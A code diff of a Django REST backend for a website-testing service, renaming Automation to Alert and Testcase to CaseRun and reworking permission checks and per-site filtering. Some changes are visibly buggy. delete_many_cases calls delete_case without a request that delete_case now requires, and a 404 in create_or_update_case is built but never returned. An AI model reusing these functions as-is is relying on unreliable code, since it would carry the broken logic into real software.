@@ -4050,14 +4091,14 @@ def delete_tasks_and_schedules(
 
 
 
-### ------ Begin Automation Services ------ ###
+### ------ Begin Alert Services ------ ###
 
 
 
 
-def create_or_update_automation(request: object) -> object:
+def create_or_update_alert(request: object=None) -> object:
     """ 
-    Creates or Updates an `Automation` 
+    Creates or Updates an `Alert` 
 
     Expects: {
         'request': object
@@ -4069,25 +4110,28 @@ def create_or_update_automation(request: object) -> object:
     # get request data
     actions = request.data.get('actions')
     schedule_id = request.data.get('schedule_id')
-    automation_id = request.data.get('automation_id')
+    alert_id = request.data.get('alert_id')
     name = request.data.get('name')
     expressions = request.data.get('expressions')
 
     # set defaults
-    automation = None
+    alert = None
     schedule = None
     
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # deciding on recsource
-    resource = 'automation' if automation_id else 'schedule'
+    id = alert_id if alert_id else schedule_id
+    id_type = 'alert' if alert_id else 'schedule'
+    action = 'add' if schedule_id else 'update'
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource=resource, 
-        automation_id=automation_id, schedule_id=schedule_id,
+    check_data = check_permissions_and_usage(
+        member=member, resource='alert', 
+        action=action, id=id, id_type=id_type,
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4097,26 +4141,26 @@ def create_or_update_automation(request: object) -> object:
     # get schedule if checks passed
     if schedule_id:
         schedule = Schedule.objects.get(id=schedule_id)
-    if automation_id:
-        automation = Automation.objects.get(id=automation_id)
-        schedule = automation.schedule
+    if alert_id:
+        alert = Alert.objects.get(id=alert_id)
+        schedule = alert.schedule
 
-    # update existing automation
-    if automation:
+    # update existing alert
+    if alert:
         if name:
-            automation.name = name
+            alert.name = name
         if expressions:
-            automation.expressions = expressions
+            alert.expressions = expressions
         if actions:
-            automation.actions = actions
+            alert.actions = actions
         if schedule:
-            automation.schedule = schedule
+            alert.schedule = schedule
         # save updates
-        automation.save()
+        alert.save()
 
-    # create new automation
-    if not automation:
-        automation = Automation.objects.create(
+    # create new alert
+    if not alert:
+        alert = Alert.objects.create(
             name=name, 
             expressions=expressions, 
             actions=actions,
@@ -4128,8 +4172,8 @@ def create_or_update_automation(request: object) -> object:
     # update schedule 
     if schedule:
 
-        # update schedule with new automation
-        schedule.automation = automation
+        # update schedule with new alert
+        schedule.alert = alert
         schedule.save()
 
         # update associated periodicTask
@@ -4140,11 +4184,12 @@ def create_or_update_automation(request: object) -> object:
             'scope': json.loads(task.kwargs).get('scope'),
             'resources': json.loads(task.kwargs).get('resources'),
             'account_id': json.loads(task.kwargs).get('account_id'),
-            'automation_id': str(automation.id),
+            'alert_id': str(alert.id),
             'configs': json.loads(task.kwargs).get('configs'), 
             'type': json.loads(task.kwargs).get('type'),
             'threshold': json.loads(task.kwargs).get('threshold'),
             'case_id': json.loads(task.kwargs).get('case_id'),
+            'flow_id': json.loads(task.kwargs).get('flow_id'),
             'updates': json.loads(task.kwargs).get('updates'),
             'task_id': json.loads(task.kwargs).get('task_id'),
         }
@@ -4153,7 +4198,7 @@ def create_or_update_automation(request: object) -> object:
 
     # serialize and return
     serializer_context = {'request': request,}
-    data = AutomationSerializer(automation, context=serializer_context).data
+    data = AlertSerializer(alert, context=serializer_context).data
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -4161,9 +4206,9 @@ def create_or_update_automation(request: object) -> object:
     
 
 
-def get_automations(request: object) -> object:
+def get_alerts(request: object=None) -> object:
     """ 
-    Get one or more `Automations`.
+    Get one or more `Alerts`.
 
     Expects: {
         'request': object
@@ -4173,42 +4218,44 @@ def get_automations(request: object) -> object:
     """
 
     # get request data
-    automation_id = request.query_params.get('automation_id')
+    alert_id = request.query_params.get('alert_id')
     
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource='automation', automation_id=automation_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='alert', 
+        action='get', id=alert_id, id_type='alert'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
-    # get single automation
-    if automation_id:        
+    # get single alert
+    if alert_id:        
         
-        # get automation
-        automation = Automation.objects.get(id=automation_id)
+        # get alert
+        alert = Alert.objects.get(id=alert_id)
         
         # serialize and return
         serializer_context = {'request': request,}
-        serialized = AutomationSerializer(automation, context=serializer_context)
+        serialized = AlertSerializer(alert, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
     
-    # get all automations associated with account
-    automations = Automation.objects.filter(account=account).order_by('-time_created')
+    # get all alerts associated with account
+    alerts = Alert.objects.filter(account=account).order_by('-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(automations, request)
+    result_page = paginator.paginate_queryset(alerts, request)
     serializer_context = {'request': request,}
-    serialized = AutomationSerializer(result_page, many=True, context=serializer_context)
+    serialized = AlertSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -4216,9 +4263,9 @@ def get_automations(request: object) -> object:
 
 
 
-def get_automation(request: object, id: str) -> object:
+def get_alert(request: object=None, id: str=None) -> object:
     """
-    Get single `Automation` from the passed "id"
+    Get single `Alert` from the passed "id"
 
     Expects: {
         'request' : object,
@@ -4230,23 +4277,25 @@ def get_automation(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-        automation_id=id, resource='automation'
+    check_data = check_permissions_and_usage(
+        member=member, resource='alert', 
+        action='get', id=id, id_type='alert'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
-    # get automation if checks passed
-    automation = Automation.objects.get(id=id)
+    # get alert if checks passed
+    alert = Alert.objects.get(id=id)
         
     # serialize and return
     serializer_context = {'request': request,}
-    serialized = AutomationSerializer(automation, context=serializer_context)
+    serialized = AlertSerializer(alert, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
     return Response(data, status=status.HTTP_200_OK)
@@ -4254,9 +4303,9 @@ def get_automation(request: object, id: str) -> object:
 
 
 
-def delete_automation(request: object, id: str) -> object:
+def delete_alert(request: object=None, id: str=None) -> object:
     """ 
-    Deletes the `Automation` associated with the passed "id" 
+    Deletes the `Alert` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
@@ -4268,23 +4317,27 @@ def delete_automation(request: object, id: str) -> object:
 
     # get user and account info
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, automation_id=id, resource='automation')
+    check_data = check_permissions_and_usage(
+        member=member, resource='alert', 
+        action='delete', id=id, id_type='alert'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
-    # get automation if checks passed
-    automation = Automation.objects.get(id=id)
+    # get alert if checks passed
+    alert = Alert.objects.get(id=id)
 
-    # delete automation
-    automation.delete()
+    # delete alert
+    alert.delete()
 
     # return response
-    data = {'message': 'Automation has been deleted',}
+    data = {'message': 'Alert has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -4297,7 +4350,7 @@ def delete_automation(request: object, id: str) -> object:
 
 
 
-def create_or_update_report(request: object) -> object:
+def create_or_update_report(request: object=None) -> object:
     """ 
     Creates or Updates an `Report` 
 
@@ -4322,12 +4375,17 @@ def create_or_update_report(request: object) -> object:
     
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    id = report_id if report_id else page_id
+    id_type = 'report' if report_id else 'page'
+    action = 'update' if report_id else 'add'
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='report', 
-        report_id=report_id, page_id=page_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='report', 
+        action=action, id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4396,7 +4454,7 @@ def create_or_update_report(request: object) -> object:
 
 
 
-def get_reports(request: object) -> object:
+def get_reports(request: object=None) -> object:
     """ 
     Get one or more `Reports`.
 
@@ -4408,17 +4466,21 @@ def get_reports(request: object) -> object:
     """
 
     # get request data
-    page_id = request.query_params.get('page_id', None)
-    report_id = request.query_params.get('report_id', None)
+    page_id = request.query_params.get('page_id')
+    report_id = request.query_params.get('report_id')
     
     # get user and account
     user = request.user 
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
-    # check account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource='report', report_id=report_id,
-        page_id=page_id
+    id = report_id if report_id else page_id
+    id_type = 'report' if report_id else 'page'
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='report', 
+        action='add', id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4447,6 +4509,11 @@ def get_reports(request: object) -> object:
     if page_id is None and report_id is None:
         reports = Report.objects.filter(user=request.user).order_by('-time_created')
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        reports = reports.filter(site__id__in=id_list).order_by('-time_created')
+
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(reports, request)
@@ -4459,7 +4526,7 @@ def get_reports(request: object) -> object:
 
 
 
-def get_report(request: object, id: str) -> object:
+def get_report(request: object=None, id: str=None) -> object:
     """
     Get single `Report` from the passed "id"
 
@@ -4473,11 +4540,13 @@ def get_report(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-       report_id=id, resource='report'
+    check_data = check_permissions_and_usage(
+        member=member, resource='report', 
+        action='get', id=id, id_type='report'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4497,7 +4566,7 @@ def get_report(request: object, id: str) -> object:
 
 
 
-def delete_report(request: object, id: str) -> object:
+def delete_report(request: object=None, id: str=None) -> object:
     """ 
     Deletes the `Report` associated with the passed "id" 
 
@@ -4511,10 +4580,14 @@ def delete_report(request: object, id: str) -> object:
 
     # get user and account info
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, report_id=id, resource='report')
+    check_data = check_permissions_and_usage(
+        member=member, resource='report', 
+        action='delete', id=id, id_type='report'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
@@ -4538,7 +4611,7 @@ def delete_report(request: object, id: str) -> object:
 
 
 
-def export_report(request: object) -> object:
+def export_report(request: object=None) -> object:
     """
     Used to create and send a Cursion.landing 
     `Report` to the passed "email"  
@@ -4580,9 +4653,9 @@ def export_report(request: object) -> object:
 
 
 
-def create_or_update_case(request: object) -> object:
+def create_or_update_case(request: object=None) -> object:
     """ 
-    Creates or Updates a `Report` 
+    Creates or Updates a `Case` 
 
     Expects: {
         'request': object
@@ -4596,22 +4669,24 @@ def create_or_update_case(request: object) -> object:
     steps = request.data.get('steps')
     site_url = request.data.get('site_url')
     site_id = request.data.get('site_id')
-    name = request.data.get('name')
+    title = request.data.get('title')
     tags = request.data.get('tags')
     _type = request.data.get('type')
     
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # setting defaults
     site = None
     case = None
+    action = 'update' if case_id else 'add'
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='case', 
-        case_id=case_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='case', 
+        action=action, id=case_id, id_type='case'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4629,6 +4704,12 @@ def create_or_update_case(request: object) -> object:
             site = Site.objects.get(id=site_id)
             site_url = site.site_url
 
+    # check for no site and no case_id
+    if not site and not case_id:
+        data = {'reason': 'site not found'}
+        record_api_call(request, data, '404')
+        response = Response(data, status=status.HTTP_404_NOT_FOUND)
+
     # get case if checks passed
     if case_id:
         case = Case.objects.get(id=case_id)
@@ -4638,8 +4719,8 @@ def create_or_update_case(request: object) -> object:
         if steps is not None:
             steps_data = save_case_steps(steps, case_id)
             case.steps = steps_data
-        if name is not None:
-            case.name = name
+        if title is not None:
+            case.title = title
         if tags is not None:
             case.tags = tags
         if site is not None:
@@ -4755,7 +4836,7 @@ def save_case_steps(steps: dict, case_id: str) -> dict:
 
 
 
-def get_cases(request: object) -> object:
+def get_cases(request: object=None) -> object:
     """ 
     Get one or more `Cases`.
 
@@ -4770,16 +4851,19 @@ def get_cases(request: object) -> object:
     case_id = request.query_params.get('case_id')
     site_id = request.query_params.get('site_id')
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # setting defaulta
     case = None
     site = None
+    id = case_id if case_id else site_id
+    id_type = 'case' if case_id else 'site'
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='case', 
-        case_id=case_id, site_id=site_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='case', 
+        action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4811,6 +4895,11 @@ def get_cases(request: object) -> object:
     if not site:
         cases = Case.objects.filter(account=account).order_by('-time_created')
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        cases = cases.filter(site__id__in=id_list).order_by('-time_created')
+
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
@@ -4823,7 +4912,7 @@ def get_cases(request: object) -> object:
 
 
 
-def get_case(request: object, id: str) -> object:
+def get_case(request: object=None, id: str=None) -> object:
     """
     Get single `Case` from the passed "id"
 
@@ -4837,11 +4926,13 @@ def get_case(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-       case_id=id, resource='case'
+    check_data = check_permissions_and_usage(
+        member=member, resource='case', 
+        action='get', id=id, id_type='case'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4861,7 +4952,7 @@ def get_case(request: object, id: str) -> object:
 
 
 
-def search_cases(request: object) -> object:
+def search_cases(request: object=None) -> object:
     """ 
     Searches for matching `Cases` to the passed 
     "query"
@@ -4875,14 +4966,29 @@ def search_cases(request: object) -> object:
 
     # get request data
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
     query = request.query_params.get('query')
+
+    # check account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='case', action='get'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
     
     # search for cases
     cases = Case.objects.filter(
-        Q(account=account, name__icontains=query) |
+        Q(account=account, title__icontains=query) |
         Q(account=account, site_url__icontains=query) 
     ).order_by('-time_created')
+
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        cases = cases.filter(site__id__in=id_list).order_by('-time_created')
     
     # serialize and rerturn
     paginator = LimitOffsetPagination()
@@ -4896,7 +5002,7 @@ def search_cases(request: object) -> object:
 
 
 
-def create_auto_cases(request: object) -> object:
+def create_auto_cases(request: object=None) -> object:
     """
     Initiates a new `Case` generation task for the `Site` 
     associated with either the passed "site_url" or "site_id" 
@@ -4923,7 +5029,8 @@ def create_auto_cases(request: object) -> object:
     
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -4934,9 +5041,9 @@ def create_auto_cases(request: object) -> object:
         site_id = str(site.id)
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='case', 
-        site_id=site_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='case', 
+        action='add', id=site_id, id_type='site'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4977,7 +5084,7 @@ def create_auto_cases(request: object) -> object:
 
 
 
-def copy_case(request: object) -> object:
+def copy_case(request: object=None) -> object:
     """ 
     Creates a copy of the passed `Case`
 
@@ -4993,12 +5100,13 @@ def copy_case(request: object) -> object:
 
     # get user and acount
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='case', 
-        case_id=case_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='case', 
+        action='add', id=case_id, id_type='case'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -5018,14 +5126,14 @@ def copy_case(request: object) -> object:
 
     # create new case
     new_case = Case.objects.create(
-        id = new_case_id,
-        user = request.user,
-        name = f'Copy - {case.name}', 
-        type = case.type,
-        site = case.site,
-        site_url = case.site_url,
-        steps = steps_data,
-        account = account
+        id          = new_case_id,
+        user        = request.user,
+        title       = f'Copy - {case.title}', 
+        type        = case.type,
+        site        = case.site,
+        site_url    = case.site_url,
+        steps       = steps_data,
+        account     = account
     )
 
     # return response
@@ -5034,18 +5142,18 @@ def copy_case(request: object) -> object:
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
-    
 
 
 
-def delete_case(request: object=None, id: str=None, account: object=None) -> object:
+
+def delete_case(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Deletes the `Case` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
         'id'      : str,
-        'account' : object,
+        'user'    : object,
     }
 
     Returns -> HTTP Response object
@@ -5053,16 +5161,14 @@ def delete_case(request: object=None, id: str=None, account: object=None) -> obj
 
     # get user and account info
     if request:
-        account = Member.objects.get(user=request.user).account
         user = request.user
-    
-    if not request:
-        user = account.user
+    member = Member.objects.get(user=request.user)
+    account = member.account
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource='case', 
-        case_id=id
+    check_data = check_permissions_and_usage(
+        member=member, resource='case', 
+        action='delete', id=id, id_type='case'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -5091,7 +5197,65 @@ def delete_case(request: object=None, id: str=None, account: object=None) -> obj
 
 
 
-def get_cases_zapier(request: object) -> object:
+def delete_many_cases(request: object=None) -> object:
+    """ 
+    Deletes many `Cases` passed in a list
+
+    Expects: {
+        'ids': list
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and delete
+    for id in ids:
+
+        # trying to delete case
+        try:
+            # delete case and all assocaited resourses
+            data = delete_case(id=id, user=user)
+            if data.get('reason'):
+                raise Exception
+
+            # add to success attempts
+            num_succeeded += 1
+            succeeded.append(str(id))
+        except Exception as e:
+            # add to failed attempts
+            print(e)
+            num_failed += 1
+            failed.append(str(id))
+            this_status = False
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_cases_zapier(request: object=None) -> object:
     """ 
     Get all `Cases` associated with user's Account.
 
@@ -5103,7 +5267,9 @@ def get_cases_zapier(request: object) -> object:
     """
 
     # get request data
-    account = Member.objects.get(user=request.user).account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
     site_id = request.query_params.get('site_id')
     cases = None
     
@@ -5111,8 +5277,9 @@ def get_cases_zapier(request: object) -> object:
     resource = 'case'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=request.user, resource=resource, site_id=site_id,
+    check_data = check_permissions_and_usage(
+        member=member, resource=resource, 
+        action='get', id=site_id, id_type='site'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -5126,20 +5293,24 @@ def get_cases_zapier(request: object) -> object:
             site=site
         ).order_by('-time_created')
 
-
     # get all account assocoiated cases
     if cases is None:
         cases = Case.objects.filter(
             account=account,
         ).order_by('-time_created')
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        cases = cases.filter(site__id__in=id_list).order_by('-time_created')
+
     # build response data
     data = []
 
     for case in cases:
         data.append({
             'id'              :  str(case.id),
-            'name'            :  case.name,
+            'title'           :  case.title,
             'time_created'    :  str(case.time_created),
             'site'            :  str(case.site.id),
             'site_url'        :  case.site_url,
@@ -5154,14 +5325,14 @@ def get_cases_zapier(request: object) -> object:
 
 
 
-### ------ Begin Testcase Services ------ ###
+### ------ Begin CaseRun Services ------ ###
 
 
 
 
-def create_testcase(request: object, delay: bool=False) -> object:
+def create_caserun(request: object=None) -> object:
     """ 
-    Creates a new `Testcase` from the passed "case_id" for the 
+    Creates a new `CaseRun` from the passed "case_id" for the 
     passed "site_id"
 
     Expects: {
@@ -5184,15 +5355,22 @@ def create_testcase(request: object, delay: bool=False) -> object:
     
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
 
+    # check site
+    if not Site.objects.filter(id=site_id, account=account).exists():
+        data = {'reason': 'site not found'}
+        record_api_call(request, data, '404')
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='testcase', 
-        case_id=case_id, site_id=site_id, action='add',
+    check_data = check_permissions_and_usage(
+        member=member, resource='caserun', 
+        action='add', id=case_id, id_type='case'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -5206,7 +5384,7 @@ def create_testcase(request: object, delay: bool=False) -> object:
     # getting steps from case
     steps = requests.get(case.steps['url']).json()
 
-    # adding new info to steps for testcase
+    # adding new info to steps for caserun
     for step in steps:
         # expanding action
         if step['action']['type'] != None:
@@ -5227,14 +5405,14 @@ def create_testcase(request: object, delay: bool=False) -> object:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
 
-    # increment account.usage.testcase
-    account.usage['testcases'] += 1
+    # increment account.usage.caserun
+    account.usage['caseruns'] += 1
     account.save()
 
     # create new tescase 
-    testcase = Testcase.objects.create(
+    caserun = CaseRun.objects.create(
         case = case,
-        case_name = case.name,
+        title = case.title,
         site = site,
         user = request.user,
         configs = configs, 
@@ -5242,12 +5420,12 @@ def create_testcase(request: object, delay: bool=False) -> object:
         account = account
     )
 
-    # pass the newly created Testcase to the backgroud task to run
-    run_testcase.delay(testcase_id=testcase.id)
+    # pass the newly created CaseRun to the backgroud task to run
+    run_case.delay(caserun_id=caserun.id)
 
     # serialize and return
     serializer_context = {'request': request,}
-    data = TestcaseSerializer(testcase, context=serializer_context).data
+    data = CaseRunSerializer(caserun, context=serializer_context).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
@@ -5255,9 +5433,9 @@ def create_testcase(request: object, delay: bool=False) -> object:
 
 
 
-def get_testcases(request: object) -> object:
+def get_caseruns(request: object=None) -> object:
     """ 
-    Get one or more `Testcase`.
+    Get one or more `CaseRun`.
 
     Expects: {
         'request': object
@@ -5267,53 +5445,58 @@ def get_testcases(request: object) -> object:
     """
     
     # get request data
-    testcase_id = request.query_params.get('testcase_id')
+    caserun_id = request.query_params.get('caserun_id')
     site_id = request.query_params.get('site_id')
     lean = request.query_params.get('lean')
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # defaults
+    id = caserun_id if caserun_id else site_id
+    id_type = 'caserun' if caserun_id else 'site'
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='testcase', 
-        testcase_id=testcase_id, site_id=site_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='caserun', 
+        action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
-    # get single testcase
-    if testcase_id:        
+    # get single caserun
+    if caserun_id:        
 
-        # get testcase
-        testcase = Testcase.objects.get(id=testcase_id)
+        # get caserun
+        caserun = CaseRun.objects.get(id=caserun_id)
 
         # serialize and return
         serializer_context = {'request': request,}
-        serialized = TestcaseSerializer(testcase, context=serializer_context)
+        serialized = CaseRunSerializer(caserun, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    # get testcases scoped to site
+    # get caseruns scoped to site
     if site_id:
         site = Site.objects.get(id=site_id, account=account)
-        testcases = Testcase.objects.filter(site=site).order_by('-time_created')
+        caseruns = CaseRun.objects.filter(site=site).order_by('-time_created')
     
-    # get testcases scoped to account
+    # get caseruns scoped to account
     if not site_id:
-        testcases = Testcase.objects.filter(account=account).order_by('-time_created')
+        caseruns = CaseRun.objects.filter(account=account).order_by('-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(testcases, request)
+    result_page = paginator.paginate_queryset(caseruns, request)
     serializer_context = {'request': request,}
-    serialized = TestcaseSerializer(result_page, many=True, context=serializer_context)
+    serialized = CaseRunSerializer(result_page, many=True, context=serializer_context)
     if str(lean).lower() == 'true':
-        serialized = SmallTestcaseSerializer(result_page, many=True, context=serializer_context)
+        serialized = SmallCaseRunSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -5321,9 +5504,9 @@ def get_testcases(request: object) -> object:
 
 
 
-def get_testcase(request: object, id: str) -> object:
+def get_caserun(request: object=None, id: str=None) -> object:
     """
-    Get single `Testcase` from the passed "id"
+    Get single `CaseRun` from the passed "id"
 
     Expects: {
         'request' : object,
@@ -5335,23 +5518,25 @@ def get_testcase(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-       testcase_id=id, resource='testcase'
+    check_data = check_permissions_and_usage(
+        member=member, resource='caserun', 
+        action='get', id=id, id_type='caserun'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
-    # get testcase if checks passed
-    testcase = Testcase.objects.get(id=id)
+    # get caserun if checks passed
+    caserun = CaseRun.objects.get(id=id)
         
     # serialize and return
     serializer_context = {'request': request,}
-    serialized = TestcaseSerializer(testcase, context=serializer_context)
+    serialized = CaseRunSerializer(caserun, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
     return Response(data, status=status.HTTP_200_OK)
@@ -5359,14 +5544,14 @@ def get_testcase(request: object, id: str) -> object:
 
 
 
-def delete_testcase(request: object=None, id: str=None, account: object=None) -> object:
+def delete_caserun(request: object=None, id: str=None, user: object=None) -> object:
     """ 
-    Deletes the `Testcase` associated with the passed "id" 
+    Deletes the `CaseRun` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
         'id'      : str,
-        'account' : object
+        'user' : object
     }
 
     Returns -> HTTP Response object
@@ -5374,16 +5559,14 @@ def delete_testcase(request: object=None, id: str=None, account: object=None) ->
 
     # get user and account info
     if request:
-        account = Member.objects.get(user=request.user).account
         user = request.user
-    
-    if not request:
-        user = account.user
+    member = Member.objects.get(user=request.user)
+    account = member.account
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource='testcase', 
-        testcase_id=id
+    check_data = check_permissions_and_usage(
+        member=member, resource='caserun', 
+        action='delete', id=id, id_type='caserun'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -5392,17 +5575,17 @@ def delete_testcase(request: object=None, id: str=None, account: object=None) ->
             return Response(data, status=check_data['status'])
         return data
 
-    # get testcase if checks passed
-    testcase = Testcase.objects.get(id=id)
+    # get caserun if checks passed
+    caserun = CaseRun.objects.get(id=id)
 
     # remove s3 objects
-    delete_testcase_s3_bg.delay(testcase_id=id)
+    delete_caserun_s3_bg.delay(caserun_id=id)
 
-    # delete testcase
-    testcase.delete()
+    # delete caserun
+    caserun.delete()
 
     # return response
-    data = {'message': 'Testcase has been deleted',}
+    data = {'message': 'CaseRun has been deleted',}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -5412,9 +5595,9 @@ def delete_testcase(request: object=None, id: str=None, account: object=None) ->
 
 
 
-def get_testcases_zapier(request: object) -> object:
+def get_caseruns_zapier(request: object=None) -> object:
     """ 
-    Get all `Testcases` associated with user's Account.
+    Get all `CaseRuns` associated with user's Account.
 
